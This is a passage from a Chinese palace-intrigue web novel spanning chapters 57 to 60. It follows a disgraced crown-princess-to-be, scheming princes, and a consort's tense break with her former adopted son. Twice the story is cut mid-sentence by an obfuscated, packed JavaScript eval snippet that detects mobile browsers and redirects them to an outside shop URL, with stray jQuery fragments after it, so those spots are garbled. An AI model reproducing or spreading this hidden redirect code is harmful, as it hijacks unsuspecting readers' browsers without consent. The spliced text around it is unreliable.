马车驶入皇宫,下车后,沉重的宫门在身后关合,她抬头望天,四四方方的宫墙围起了一个四四方方的蓝天,她忽然忆起自己在蜀地时周遭的嶙峋山景与无遮无拦的广阔天地,父亲怒斥她执意要做太子妃的话语浮现在脑海里…… 她真的错了吗? “小姐这边请。”领路宫人的声音打断了她的思绪,郑淳藏在袖子里的拳头捏紧,微微昂首跟着人向未央宫的方向走去。木已成舟,既然这是她自己选择的路,那她就一定会走下去,走下去给所有不相信她的人看! 未央宫此时静得可怕,宫人将她领至门口便行礼退下,郑淳小心推开虚掩着的门,陈皇后正端坐在上首,齐紫色的凤袍衬得她面容愈发冷峻,听到声响,她没有看郑淳,只是漫不经心地用银匙拨弄着茶盏中的茶叶。 “跪下。”陈皇后的声音不高,却带着不容置疑的威严,郑淳从未见过这样的皇后,双腿一软,直直跪在冰凉的地砖上。 “本宫那日是如何叮嘱你的?”陈皇后终于抬眼,目光如寒刃般扫过她,“太子病重,朝局本就动荡,你身为未来的太子妃却将如此重要的消息外泄,你可知这会引发多少风波?” “娘娘,臣女是被人设计的。”郑淳努力稳住自己的声线,快速解释道。 “设计?”皇后冷笑一声,将茶盏重重顿在桌上,“被人设计你就无错吗?如此容易轻信他人,将来太子继位,本宫如何放心你坐上这个位置!” 她站起身,一步步走到郑淳面前:“本宫本以为你是个沉稳可靠的,才放心将太子的事托付于你,没想到你竟是如此拎不清轻重之人,你母亲要是还在,定会对你失望透顶。” 郑淳浑身发抖,想辩解却不知从何说起。她知道,消息已经泄露,任何解释都显得苍白无力,她甚至能想象到,父亲得知此事后会是何等震怒,他本就看不上她,如今她又闹出这般祸事,怕是更要厌弃她了…… * 太极殿 下朝了的郑戒刚走出大殿,就被宫中的小太监拦住了去路。 “郑大人,皇后娘娘今日传了您家小姐入宫,如今还在未央宫呢。”小太监的声音压得很低,郑戒的心猛地一沉,他今日在朝堂上已听闻太子消息泄露之事,没想到竟牵扯到了女儿身上。 他二话不说,转身就往庆帝的御书房走去,一路上眉头都拧得紧紧的。长久周旋于朝堂间,他深知内里的水有多深,妻子死后他送走女儿,固然有心痛难当不忍再见的原因,但更是因为他希望女儿能远离朝堂纷争,当初他多次冒着惹怒庆帝的风险驳回赐封太子妃的折子……可如今,她还是被卷入了这漩涡之中。 太和殿内,庆帝正对着一叠奏折发愁,见郑戒求见,他放下朱笔,语气带着几分不耐:“郑爱卿有何事?” 郑戒跪地叩首,声音沉稳:“陛下,臣女郑淳年幼无知,虽有错处,却绝非故意泄露太子消息,此事背后定有黑手,意在搅乱朝局,动摇太子根基。” 庆帝抬眸看他:“哦?爱卿何以断定?” “臣愿以全族性命担保。”郑戒语气坚定,“臣女自幼受臣教导,深知君臣之礼,断不会做出这等祸乱朝纲之事,臣以为,朝堂上定是有人在谋算什么,请陛下彻查!” 他顿了顿,抬头直视庆帝,“若陛下能彻查此事,还臣女清白,臣愿即刻起草奏折,联合六部官员上书,请太子监国,以安民心。” 庆帝眼中闪过一丝精光,郑戒手握工部实权,其父的悬云书院,弟子遍布天下,若能得他全力支持,太子的地位便能稳固不少。 他沉吟片刻,起身扶起郑戒:“爱卿一片忠心朕自然明白,此事朕已知晓,你随朕去未央宫看看吧。” 未央宫内,郑淳依旧跪在地上,陈皇后则默不作声地品着杯中的茶水,殿外突然传来太监尖细的唱喏:“陛下驾到——”众人连忙跪迎。 庆帝走进殿内,目光扫过跪在地上的郑淳,又看向面色紧绷的皇后,温声开口:“皇后,此事或许另有隐情,方才郑爱卿已将前因后果禀明,淳丫头是被人设计的。” 陈皇后一愣,抬头迅速与庆帝交换了一个眼神,旋即收敛了怒气,躬身道:“陛下明察。” 庆帝示意宫人去扶郑淳,见其神态虽倔强,面色却惨白如纸,不由叹了口气安慰道:“朕知道你受了委屈,此事朕会命人彻查,务必将幕后黑手揪出来,你是未来的太子妃,当沉稳些,莫要再让人钻了空子。” 郑淳低头着谢恩,目光不经意间与站在庆帝身后的父亲相交,郑戒看着她,眼神依旧严肃,却似乎又多了一些说不清道不明的东西。 郑戒知道帝后定会商谈他方才承诺之事,于是拱手禀道:“臣府中还有要事要处理,就不在此打扰陛下与娘娘了。” 陈皇后颔首,目光转向郑淳,再开口时,声音已经恢复了从前的温和:“淳儿也与你父亲一起回去吧,近日好好在家中歇息,不必入宫了。” 郑淳有些发愣,随即很快反应过来,低头行了个礼:“臣女告退。” 她与郑戒一路无言,直到走到出宫的大门前,她看着紧闭的宫门缓缓打开,外头停着郑府的马车,静静等待载她回府,她方才在皇后宫中努力憋住的眼泪瞬间夺眶而出,整个人抽噎得不成样子。 郑戒听到动静回头,看见女儿这副模样,一向沉稳无波的眼神瞬间慌乱起来,连带着手上动作也有些局促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196885|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 郑戒哭得伤心,忽然看见眼前出现了一方素白的手帕,递来之人的手指骨节分明,指腹带着厚厚的茧,她愣了愣,抬头看向父亲,立在原地一动不动。 郑戒看着女儿愣怔的眼神,胸口也抽抽的痛,两人对立而视,直到身后传来催促声,郑淳才如梦初醒般伸手接过帕子,闷闷道:“走吧。” 郑戒松了口气,有些不自然的别过头,转身上了马车。郑淳捏着手中的帕子站在马车前,突然觉得心中的委屈消散了些。 * 距离那晚的争执已过去四日,亓轸也搬到东宫旁边的宫殿三日有余,那晚于少微离开后就给自己的房门上了锁,亓轸追到她寝宫前,无论如何敲门,都只得到她一句:你回去吧。 没有波澜,没有犹豫,像在打发一个无关紧要的路人。 亓轸看着紧闭的房门,绝望地意识到它今晚不会为他打开了,他突然浑身泄了气力般,顺着门板滑坐在地上。 “你看,她最终还是不要你了。”脑海里那个阴暗的声音又开始作祟,像藤蔓般死死缠绕住他的心脏,越收越紧。 过继的旨意对他而言不过是政治的安排,虽事发突然,但却是一个重要的信号,平静的宫墙之下将有风浪四起,他的机会也潜伏在颠簸之间,他终于等来撬动棋局的机会。 风波他早有预料,也做好了以身涉险的准备,可他怎么也没想到,最先将他推入深渊的,竟会是他发誓要死死绑住的于少微。 被抛弃的恐惧从未远离过他,他绞尽脑汁,明里暗里用尽一切手段小心翼翼的维持着这段脆弱的关系,他像在伸手不见五指的黑暗中走绳,脚下是万丈深渊,手中唯一的绳索,就是于少微的青睐。 如今,绳索断了,她亲手下了判决,用一扇门、一句话,将他彻底驱逐。 亓轸抬起头,目光穿过庭院里稀疏的树影,落在大门处悬挂的转鹭灯上。薄纱灯罩内,烛火摇曳,他与她一同绘制的各色图案缓缓旋转,每一笔色彩都清晰得仿佛就在昨日,这盏他亲手挂上,接她回家的灯笼,如今却成了他被抛弃的见证。 身后突然传来木门“吱呀”的声响,亓轸猛地回头,心脏在胸腔里疯狂跳动,眼底瞬间燃起簇簇微光,是她吗?是她改变主意了吗? 可映入眼帘的,只有槐序的身影,那点微光像被狂风扑灭的烛火,瞬间陨落在浓重的阴郁里,只余下眼底未散的红丝。 槐序看着他一脸灰败的模样,心里也有些不忍,但还是硬起心肠别过脸道:“娘娘让您快些回去,不要待在这里惹她心烦,日,日后就算相见,也不必寒暄。” “不必寒暄……?”亓轸一字一顿地重复,声音沙哑至极,少年的眼眶已然全红,血丝爬满眼白,模样有些骇人。他怔怔地望着门缝里透出来的一缕暖光,希冀能看见里面那个狠心人的身影,可是没有,什么都没有,里面的人不会出来看他一眼。 就因为那些谣言吗?亓轸突然低低地笑了起来,笑声越来越大,越来越怪异,在空荡的庭院里回荡,槐序吓得踉跄着后退半步,攥着门环的手紧了紧,缓缓合上了门。 那束落在他身上的暖光骤然消失,寂静的庭院也重归于黑暗,亓轸维持着抬头的姿势,眼泪终于无声地滑落,砸在冰冷的地砖上。 原来如此是吗……是因为这些肮脏的谣言会玷污她的清誉,所以才毫不犹豫的舍了他吗?他果然是她人生中的污点……他从未、从未逃离被抛弃的命运…… 大门处的转鹭灯还在旋转,烛火明明灭灭,将他离去的影子拉得很长很长,最终与浓重的夜色融为一体。 58. 第五十八章 太子的婚期推迟了,在他卧床修养的这段时日,亓轸与亓轲、亓轩三人得庆帝命令,每日随其上朝,正式参与政事。 亓轲在谢凝华被贬时就被勒令搬出景阳宫,陈皇后将其安置在离东宫不远处的宫殿中。如今亓轸也搬至东宫附近,文淑妃见状立刻去找了庆帝,庆帝索性让人将东宫附近的几间宫殿收拾出来,不太对付的三人就这么比邻而居。 亓轩近日心情十分不好,确切地来说,自从太子与郑淳的婚事定下,郑淳常来宫中,太子又被政事所围之后,他心里的不满愈发强烈。 亓轩可以说是跟在太子身后长大的,幼时,太子跟着太傅读书,他就趴在旁边的软榻上描红;太子在演武场练箭,他就捧着水囊站在一旁。太子总说亓轩长不大,却又事事都依着他,亓轩嫌课业枯燥,他亲自为其拆解讲演;亓轩闯祸了,他又替其遮掩领罚…… 宫中无人不知,太子底下岁兄弟姊妹众多,但他最宠的便是这位四殿下,甚至连太子的同胞姐姐大公主亓珺都不及二人关系亲近。 在亓轩心中,太子是他生命中最重要的人,他一直认为他们的关系会一直如此,却不想自太子订婚后,一切都变了。 今年初始,太子身体渐渐养好,两人时不时会一起晨练,上月亓轩与太子相约演武场,前一晚他特意把自己的弓擦得锃亮,天不亮就候在演武场,可等到日头爬上宫墙,只等来太子身边公公的一句“太子殿下一早被陛下召去勤政殿,商议西北粮草的事,晨练怕是来不了了。” 亓轩当时握着弓的手就紧了紧,嘴上说“兄长国事为重”,脚下却踢翻了脚边的箭筒,箭矢瞬间散落一地。 第二次是三日后约好的游湖,这是太子承诺他未赴演武场之约的补偿。亓轩早早就吩咐好厨房做了许多二人都喜爱的吃食,结果临近午时,太子身边的小太监匆匆跑来说太子妃娘家送来了嫁妆清单,太子殿下得去陪着过目…… 话没说完,就见亓轩一脚将食盒掀翻,转身就往东宫跑,恰好在宫门口撞见太子太子妃并肩往内务府的方向走,太子妃穿着一身粉裙,笑靥如花,太子看向她的眼神,是与看他时不一样的温柔。 第三次,没有第三次了,太子病倒了。亓轩是最先发现太子晕倒的,那日下午太子刚从宣政殿回来,身边的小厮怀中抱着一沓厚厚的奏折,他见到人立马快步迎了上去,太子看见他也露出笑容。亓轩走近发现太子脸色苍白,瞧着很是不好,他半是埋怨半是担心地说的数落了几句,太子也不恼,只是笑着听完,眼神温和至极。 亓轩诉完近日被忽略的苦水,忽然觉得心情好了不少,正想继续与人继续聊天时,却见太子眉头紧蹙,左手捂着脑袋表情看着很是痛苦,他察觉不对,刚要开口询问,太子就突然不省人事地倒了下去。 亓轩登时吓得脸都白了,揽着太子的身体声嘶力竭地叫太医,恰好此时郑淳来东宫找太子,见状立马打发身边的人分别去喊太医和皇后,自己也立马跑近查看。 亓轩看见是她,本就难看的脸色此刻更是跟鬼一样,吓得郑淳下意识往后退了一步。亓轩见她这个样子,鄙夷地嗤了一声,郑淳察觉到他的不友善,只当他是过度担心太子,并没多想,又马上凑近帮着亓轩一起将太子送回寝殿。 太子卧病在床,郑淳遭到斥责没有再进宫,亓轩搬至东宫隔壁,除了去文华殿上课外,其余时间都在东宫守着太子。没有堆积如山的奏折,也没有笑靥如花的太子妃,两人的相处模式又回到从前,帝后每每来东宫探望都忧心忡忡,亓轩坐在旁边,心里却是隐隐的希望要是能一直如此就好了。 紧接着太子婚期推迟的消息传来,亓轩心情更是大好,时间晃晃悠悠来到十一月,太子卧病几月修养得当,身体逐渐好转。每日的宣政殿又出现了太子的身影,东宫的书案上又出现了奏折,太子的婚期重新商定,时间就在下月,太子又和之前一般忙碌起来。 十一月下旬是太子生辰,亓轩期待亲手将准备已久的生辰礼送给太子,可整整一个晚宴,太子不是与大臣们交谈寒暄,就是与庆帝说话,或是亲自去招待郑淳及其家人,一个晚上,他连太子的半个眼神都没有分到。 亓轩神色发冷,提前离席而去,太子散席后回到东宫,看见自己的书案前直直坐着一个亓轩,正翻看着他桌上的奏折,神色晦暗不明。 “小轩是想学批奏折吗?”太子笑着走上前。 亓轩缓缓抬头,“啪”地一声将手中的奏折扔到书案上,冷冷道:“我只是想看看这奏折里的东西究竟有如何重要,重要到你可以不顾身体也不顾我。” 太子一愣,见亓轩神色不对,连忙温声解释道:“对不起小轩,近日忽视了你是我不对,但是你也那么大了,也应该明白,身为皇子,我们注定要担起身上的担子。” “当然。”亓轩嘴角扯出一个微笑,太子以为他听进去了,见状刚要松一口气,就听到他又不紧不慢道:“更何况您还是太子,我们这些弟弟们,自是比不得的。” 太子顿时愣在原地,亓轩表情恶劣,眼睛一错不错地盯着他,令他觉得陌生的可怕。他想解释什么,却被一阵急促的咳嗽打断,亓轩看着他咳得泛红的脸色,表情顿时变得一片空白,心里的火气瞬间被愧疚取代。 可那被冷落的委屈依旧像藤蔓一样疯长,他僵直片刻后,忽猛地起身,不顾太子的劝阻,转身一路跑回自己的寝宫,“砰”地一声一脚踹上门,将桌上的玉佩、砚台全扫落在地,贴身的太监吓得大气不敢出,只敢站在一旁小声劝:“殿下,宫里谁不知道太子殿下最在意的就是您,只是近来实在太忙……” “忙?忙着管那些破事!忙着陪太子妃!”亓轩抓起一个瓷瓶砸在墙上,碎片溅到他手背上,火辣辣地疼。他蹲在满地狼藉里,眼泪突然就涌了上来,太子曾经说过永远不会让他受委屈,可现在最让他委屈的人,偏偏是他。 夜渐深,寝宫的烛火忽明忽暗,亓轩趴在桌上,脸颊贴着冰凉的桌面,迷迷糊糊间听见窗外传来轻响,他猛地抬头,门外随即传来叩门声,他蹙紧眉头,随手抄起桌上的镇纸,起身走到门口。 打开门,预料之中的不速之客,二皇子亓轲站在廊下,月光洒在他月白锦袍上,倒显得有几分温和。 “二兄深夜到访,有何用意?”亓轩掂了掂手中的镇纸,眼神警惕。谢家的落败与他母妃息息相关,面对此人,他不得不小心。 亓轲见他满脸敌意表情却未有半分变化,只不慌不忙的背着手缓步走近道:“四弟何必如此防备?我只是看你屋灯亮着,想来劝你几句而已。” 他弯腰捡起一片地上的瓷片,语气带着真切的无奈,“今日晚宴我都看见了,你心里的委屈我能理解。” 亓轩抓着镇纸的手松了松,依旧没有放下,也没让人进门的意 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“修养一段时日?”亓轩在口中将这句话重复了一遍,斜眼看他:“一段时日,是多久?” 亓轲笑了,眼里露出一丝玩味:“一年?两年?具体还得听太医的话,当然,还有四弟你。” 亓轩猛地反应过来:“你想我去害太子?!” 亓轲表情没有一丝波澜,语重心长道:“你从哪句话听出来的?如今谢家倒台,我与母亲只求在宫中安稳生活,这顶帽子我可不敢戴。” 亓轩狐疑地看了他一眼,还未说什么,只听亓轲又道:“你可以去问太医院的人,就会知道我所言绝无假话。” 亓轲说完,见其表情沉默似不为所动,他转身告辞,在推门时叹了口气,似是自言自语道:“太子婚期就快到了,东宫以后要热闹了……” 亓轩猛地抬头,望着闭合的房门,站在原地久久没有动作。 * 亓轲独自一人往自己的寝宫方向走,忽然在一个岔路停住了脚步。往左走,是去景阳宫,往又走,是他如今的住所。他站在原地,往左侧偏头,此处离景阳宫还有一些距离,他望不见那些熟悉的飞檐。 谢家的密信静静躺在他房内的隐秘处,母妃骄傲半生,圣旨到的那日,是他第一次见到她落败的表情,谢家的密信放了一日又一日,母妃若是不愿,那就只能由他来做了。 尊贵的人合该一直尊贵,他的母妃就该配世间一切尊贵的东西。 亓轲最后望了一眼左道,然后毫不留情的走向右边,路过亓轸寝宫时,发现他正在院子里练剑,亓轲犹豫一瞬,径直推开没有闭合的院门,亓轸听到动静停下动作,亓轲站在门口,遥遥道:“我桌上那封信是你派人送的吧,你很清楚太子的情况。” 亓轸顿了一下,似没听到般,又舞起了手中的长剑。利刃划破空气的声音在耳边嗡嗡作响,亓轲笑了笑:“从前是我小瞧了你。” 亓轸没有停下手中的动作。 “我今日撞见了慧嫔。”亓轲忽然冷不丁道,他一错不错地盯着亓轸的动作,果然,他在收剑时凝滞了一瞬,但也只有一瞬,随即又立马恢复了正常。 亓轲却像是知道什么了不得的事情般勾起了笑容,他轻轻摇头,声音有些飘渺:“这宫中怎么人人都有执念?” 回答他的是猎猎的风声。 59. 第五十九章 长信宫 宫人端上热水,于少微洗干净手后,看向坐在罗汉床上悠闲喝茶的李嫔道:“你怎么来了?” 李嫔斜了她一眼,放下茶杯道:“你入宫也有一年多了,规矩就学成这样?便是放在民间小门小户怕也没这么招待客人的吧。” 于少微一屁股在她旁边坐下,自顾自给自己倒了杯茶,喝了半杯才慢悠悠道:“你不请自来也没比我好上多少。” 李嫔轻嗤一声,敲着桌沿朝门外点了点,道:”又去照看你那宝贝树苗了?” “已经不是树苗了。”于少微纠正,她煞有介事地拿手比划了一下,“已经长得与我一般高了。” 李嫔见她一脸认真,不自觉蹙了蹙眉,鄙夷道:“瞧你这语气,拿棵树当孩子养啊?” 于少微瞧她露出一副一言难尽的表情,毫不客气地回了一个大大的白眼,“那又如何,就是孩子也没它宝贵!” 李嫔瘪了瘪嘴,小声嘟囔:“我还以为那些事后你会对我客气些……” 谢贵妃落败后,她洗脱冤屈,随后于少微封慧嫔,接着又侨居新宫,或者后宫太大,亦或两人的宫殿隔得太远,总之除了例行请安,她们都没再见过面,直到上月寒衣节,她出宫去庙里为青兰供灯,师傅问了姓名生辰后,突然告诉她已经有人为青兰点了灯。 她一愣,一个名字瞬间出现在脑海,她马不停蹄地赶回宫后,径直去了长信宫,彼时于少微正在用膳,见她忽然闯入,表情是十足的惊讶,听完她来意后,整个人又忽地沉默下来,半响,才漫不经心地对她道:“吃饭了吗?” 她下意识摇头。 “那就坐吧。”于少微说完便不再看她,转头让宫人另添一副碗筷,又上了两壶酒。 她也不知为何,仿佛鬼迷了心窍般,就这么直愣愣地坐下,然后与于少微用了一顿沉默的晚膳。 “能喝酒吗?”于少微拿起酒壶问她。 她轻轻点头,于少微倒了两杯酒,一杯递她,一杯拿在手上,仰头一饮而尽。她见状,顿了顿,也学着于少微的动作,将杯中酒水一饮而尽。 咳咳咳,真辣啊。 于少微没有看她,只是提起酒壶给两人的杯盏又添满,然后重复方才的动作,又是一杯。 看着于少微喝,她仿佛受其蛊惑般,也跟着喝,如此喝了五杯?还是六杯?她记不清了,总之后面她实在遭不住了,倾身一把按住于少微又欲添酒的手,哀求道:“别倒了。” 于少微淡淡地瞥了她一眼,轻轻将手抽出,提起酒壶,这次只给她自己倒了一杯。 她看着于少微慢慢呷酒的模样,忽然觉得有些冷,她下意识环顾四周,宽敞的暖阁内,宫人不知何时退下了,只剩她们二人。 此时已是深秋,暖阁里已烧起了炭火,明明四周暖烘烘的,她就是觉得冷,她又去看于少微,趴在桌子上喃喃道:“我好冷……你冷吗?这个地方怎么那么空荡荡的呢?我们怎么都是一个人啊……” 她那时或许已经有些醉了,但她仍然清楚地看见,于少微喝酒的动作顿了顿,有一滴眼泪沿着她的下巴滴落在面前的酒盏。 记忆回笼,李嫔下意识转头去看于少微,却怎么也无法与记忆中沉默垂泪的人对上号。那晚她破天荒的留宿长信宫,桌上的两壶酒被她们喝了个干净,分不清最后到底是谁喝的更多,总之,在记忆断片前,她只记得自己抱着于少微哭得涕泗横流。 ……太丢人!!! 这导致她第二天一早就逃似的跑了,后面的日子,她半是不好意思,半是别扭,她想等着于少微先来寻她,结果却是又回到两不相见的起点。 昨晚太子生辰宴,她本想借机主动与其说两句话,不想却得来了于少微告病缺席的消息,可现在看来——身旁的美人气色红润,翻她白眼时顾盼生辉,半分病容都没瞧见,李嫔不禁生疑,皱眉道:“你昨晚为何不去太子的生辰宴,难不成是为了躲我?” 于少微闻言一副吃了苍蝇的模样,满脸嫌弃道:“李嫔娘娘这是去哪里修炼回来了,怎的脸皮厚成这样?怕是北边的长城都不及你。” 李嫔大怒,腾地站起来,指着于少微骂道:“好你个刻薄鬼,我听你病了好心过来瞧你,如此怠慢我不说,还从进门时就冲人得很!怎么,吃火药了?!” “你专门来探望我啊?”于少微捕捉到关键,抬头去看她,眼里闪着促狭的笑。 “啊——”李嫔面色一红,气得跺脚,“于少微你——” “欸!”于少微大声应了,捧着脸瞧她:“我怎么?” 李嫔又臊又气,指着于少微那张笑脸,“你”半天说不出半个字,索性直接转身大踏步朝门口走 气死她了!她要是再踏进长信宫的门她就不姓李! “诶诶诶,别走别走!”于少微眼见人就要走到门口,连忙上前将人拉住。 “干什么!”李嫔甩开她的手。 “我的错,我的错,李娘娘大驾光临,合该好好招待。”于少微又将人的手捞回来,扯着她往回走。 李嫔见她一副做低伏小的模样,心里受用极了,但还是站在原地生气道:“你现在说什么都没用了,我不会再来看你于少微了!” 于少微斜了她一眼,“青阳马上就要拿点心来了。” 李嫔的表情凝滞了一瞬,又马上反应过来:“于少微你把我当小孩哄吗?我告诉你我——” “我做的,今天早上刚做的。”于少微使出杀手锏,趁着人一脸愣怔,连忙拉驴似的将人扯回罗汉床坐好。 就这一打岔,李嫔也忘了追问于少微缺席生辰宴的原因,人懒懒散散的坐在罗汉床上,左手捏着菊糕,右手端着茶盏,边吃边点评。 于少微在旁边嗯嗯嗯的附和,李嫔说累了,见她这副敷衍的模样很是不满,但毕竟吃人手短,况且自己打嘴仗从未胜过她,最终只是默默咽下嘴里的点心,低头沉思起来。 耳边的叽叽喳喳突然安静下来,于少微猛地听到一片寂静中,自己突兀的“嗯嗯”声,她顿时愣住,下意识抬眼去看李嫔,果然对上后者一脸怨念,她自知理亏,搓着手嘿嘿两声正想哄两句,就听到李嫔开口了 “我父亲昨日拿了东西给我。” 于少微瞬间正襟危坐,目光落在李嫔两眼之间,端得是一副认真倾听的模样。 李嫔满意她的态度,又继续道:“看见我的手串了吗?”她晃了晃自己的手腕,上面挂了一串绿松石手串,衬得她肤白胜雪。 “这手串真衬你,让我想起了一句诗,那什么……皓腕凝霜雪!”于少微大声夸赞道。 李嫔骄傲地仰起了头,又翘着兰花指撩起鬓边碎发,露出她的蓝宝石耳坠,屋里光线算不上明亮,这耳坠却是熠熠生辉。 于少微立刻鼓掌,十分捧场道:“一看就是尖货。” 李嫔非常得意,正想再说些什么,就听于少微突然道:“李将军不是在边疆吗?这是回京了?” 李嫔没作它想,直接点头道:“陛下要开放民间经营盐铁的权限,让我父亲回来帮忙。”说道这里,她似乎是想起来什么事,突然道:“你知道此事陛下指派给谁负责的吗?” “谁?”于少微一脸求知。 李嫔心情大好,也不和她兜圈子,直接道:“五皇子,亓轸。” “怎么?你不惊讶?难道你早就知道了?”李嫔见于少微表情有些平淡。 “惊讶!怎么不惊讶!”于少微作出一副被震惊到的表情,“就是太惊讶了所以一时没反应过来。” 李嫔狐疑地看了她一眼,继续道:“五皇子自从去了皇后处——”意识到自己说了什么,她顿了顿,小心地瞥了眼身边人的表情。 见其依旧一脸平静,她虽疑惑,但还是在心里纠结这话能否继续说下去。 “继续啊?怎么不说了?”于少微打断了李嫔的心理活动,后者又仔细瞅了她一眼,确定其跟没事人一样,才又继续道:“五皇子现在很得陛下重用,也确有才能,朝中许多大臣都在夸他。” 于少微嘴角浮现一抹微不可查的笑,又迅速被她抹平,没有任何言语,只是附和般地点点头。 “你脸抽筋了?表情那么怪。”李嫔露出嫌弃的表情。 于少微一噎,端起茶杯低头喝茶。 难得扳回一局,李嫔大乐,心情也飞了起来,她煞有介事的凑近了一些,压低声音道:“我看五皇子很有潜力,你毕竟也做过他一年母妃,现在费些力气把他笼络住,以后有的是好处。” 于少微也学着她的语气,低声道:“有命笼络,没命享福。” “你也太胆小了吧,不过一些谣言罢了。”话刚一出口,李嫔自己也觉得不妥,又连忙改换口风:“我瞎说的,你随便听听就得了,你们还是保持距离吧,真有了什么,我不是说你们有什么啊,就是,唉……”李嫔急的话都说不利索了,唉了半天,才放弃般道:“你是对的,他是皇子,再怎么也不会有多大的事,但我们不一样……” 气氛忽得沉了下来,李嫔突然变得有些局促,一会儿摸摸耳坠一会儿晃晃手串,眼神飘忽东瞅西瞅的。 于少微静静等她瞎忙活完,抬手将最后一块点心递给李嫔,李嫔默默接过,安静咀嚼,等到手中点心吃完,两人同时抬眼,她立即抢先道:“时候不早了,我,我先回去了。” 于少微颔首:“下次我去你宫里看你。” * 李嫔走后,屋里陷入沉静,于少微看着案几上两杯并立的残茶,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216750|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指无意识地蜷了蜷。 昨日为何突然缺席? 李嫔被她打岔掉的问题重新在脑海里浮现,于少微将冷掉的茶水倒进旁边的盆栽里,思绪飘回昨日上午。 彼时她刚从皇后宫里请安回来,见时候尚早,就顺便拐到去御花园散步。她挥退随从,慢悠悠地转到一处僻静的凉亭,那处长了一颗硕大的山茶树,如今花苞已开,红色的花瓣层层叠叠,美的惊心动魄。 于少微正踱步欣赏着,忽然感觉面前有一片阴影将其罩住,她下意识抬头,一张熟悉的面容映入眼中 是亓轸。 数日不见,他好像瘦了些。这是于少微见到亓轸时脑海里冒出的第一个想法。 “母妃……”少年的呼唤将她飘散的思绪瞬间拉回现实。 于少微猛地后退一步,又往左右两旁看了看,确定没有别的身影,才看向亓轸摇头道:“我已经不是你的母妃了。” 少年神色晦暗不明,没有言语,也没有动作。 于少微捉摸不透他的反应,只得继续道:“你怎么在这里?” 这个时间点,御花园少有人在,亓轸现在的住所离此处远之又远,无论怎么想他都不该出现在这里…… 难道是特意来等我的? 于少微脑海里冒出一个大胆的想法,随即又被她很快否认,太荒谬了,她来此处不过是意兴之举,他怎么可能知道她此时会在这里。 见亓轸还不说话,只是用那令她发麻的眼神一直盯着她,于少微不自觉攥紧袖口,低声道:“我先回去了。”说完便转身欲走。 “别走!”亓轸总算有了动作,他拉住了她的手,手肘用力一把将人用力扯了回来。于少微失去重心,猝不及防向后仰倒,后背重重贴在少年的胸膛,顾不上身体相撞的疼痛,少年咚咚的心跳声毫无阻隔的从后背传入耳中,一时间她也心如擂鼓。 “别走好吗?”亓轸的手臂不知何时环住了她的腰。 于少微心里登时警铃大作,瞬间回神,手脚用力使劲挣开少年的怀抱,迅速退后几步,气还未喘匀便一脸正色的看着人道:“五殿下,你逾距了。” 亓轸似是还没缓过神来,手臂依旧维持着环抱的姿势,半响,嘴角才露出一抹惨淡的笑,于少微见状心又不忍的偏过脑袋。不想,少年又立马不依不饶地上前了几步,她见状继续后退,不料后面正是那颗山茶树,她退无可退,只得站在原地眼睁睁地看着少年靠近。 亓轸眼睛有些发红,眼见人越来越近,于少微察觉他状况不对,急忙喊道:“亓轸!” 亓轸脚步一顿,停在了原地。 “你怎么了?”于少微见他状况不对,语气有些着急。 亓轸死死盯着这副模样的她,仿佛怎么都看不够般,半响,才低低道:“您为什么不来看我?为什么…为什么要躲我?” “我没——”于少微刚想辩解,就被亓轸忽然提高的嗓音打断 “你说谎!” 看着少年发红的双眼,于少微忽然沉默了,他说得没错,她的确是在躲他。 “慧嫔娘娘。”亓轸将这四个字咬得很重,“我如今,是连请您看我一眼的资格都没有了吗?” “是因为我成了皇后之子,地位尊贵了,反而让您……高攀不起了?”亓轸的声音带着尖锐的自嘲与讽刺。 “我……”于少微慌乱抬头,发现少年不知何时步步逼近,此刻她整个人都被困在阴影里。 “告诉我真话,是父皇的旨意让您畏惧,还是您自己……终于厌烦了我?您曾告诉我要坦诚,如今,请您坦诚地告诉我,您是后悔养了我吗?” 亓轸的眼中翻涌着极度的痛苦和隐隐的疯狂,于少微不忍再看,却又不知如何开口,说实话吗?可这实话她已经说得够多了,他可曾相信过? 他只会叫她相信他,可她又怎敢把自己的性命寄托在旁人身上,况且,她真的愿意为他冒这个险吗?不过是做了人一年的养母,他们之间的情谊真的担得起她毫无保留的信任吗? 不说实话,她又该说什么?厌烦了?后悔了?不!她说不出口啊……她怎么忍心,怎么可能狠得下心…… 既无话可说,索性保持沉默,于少微低着头,看着两人的影子重叠在一起,心脏也像被巨石压住,笼罩在巨大的阴影下,压的她怎么都喘不过气来。 时间无言的在两人之间流淌,忽然,一朵开得正艳的山茶花跌落在她的裙脚。 山茶花,也叫断头花,它的凋落不是一瓣一瓣的,而是一整朵,毫无预兆的,怦然落地,利落,决绝,狠心。 于少微如大梦初醒般,喘着粗气将人推开,奔跑时层层叠叠摇曳的裙摆像是风中盛开的山茶 她几乎算得上是落荒而逃。 60. 第六十章 冬至刚过,皇城便被一场白雪覆盖,宫里近来喜事连连,先是太子身体大好,接着便是拖了又拖的太子大婚总算来了。 亓辒不但身为太子,亦是众皇子中最先娶亲之人,帝后有心大肆操办,于少微作为这场奢华婚礼的主要负责人,手握上不封顶的预算与任她差遣的人手,实实在在是大显身手了一番。 